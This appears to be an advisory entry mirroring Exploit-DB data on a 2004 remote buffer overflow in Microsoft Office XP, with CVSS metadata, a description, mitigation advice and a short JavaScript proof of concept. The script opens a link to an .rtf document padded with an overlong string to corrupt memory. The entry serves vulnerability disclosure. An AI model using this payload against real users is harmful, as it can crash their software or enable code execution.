Microsoft Office XP Remote Buffer Overflow Vulnerability

vendor:

Office XP

by:

SecurityFocus

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Office XP

Affected Version From: Microsoft Office XP

Affected Version To: Microsoft Office XP

Patch Exists: YES

Related CWE: CVE-2004-0206

CPE: a:microsoft:office_xp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2004

Microsoft Office XP Remote Buffer Overflow Vulnerability

A remote buffer overflow vulnerability affects Microsoft Office XP. The problem presents itself when an unsuspecting user follows a malicious HTML link that points to a Office document. A boundary condition error is exposed during this operation that may allow attacker-specified data to corrupt process memory. An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that follows a malicious embedded link.

Mitigation:

Users should avoid following untrusted links and should exercise caution when opening documents from untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/12480/info

A remote buffer overflow vulnerability affects Microsoft Office XP. The problem presents itself when an unsuspecting user follows a malicious HTML link that points to a Office document. A boundary condition error is exposed during this operation that may allow attacker-specified data to corrupt process memory.

An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that follows a malicious embedded link.

<Script>
var mylongstring,myjunk;
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>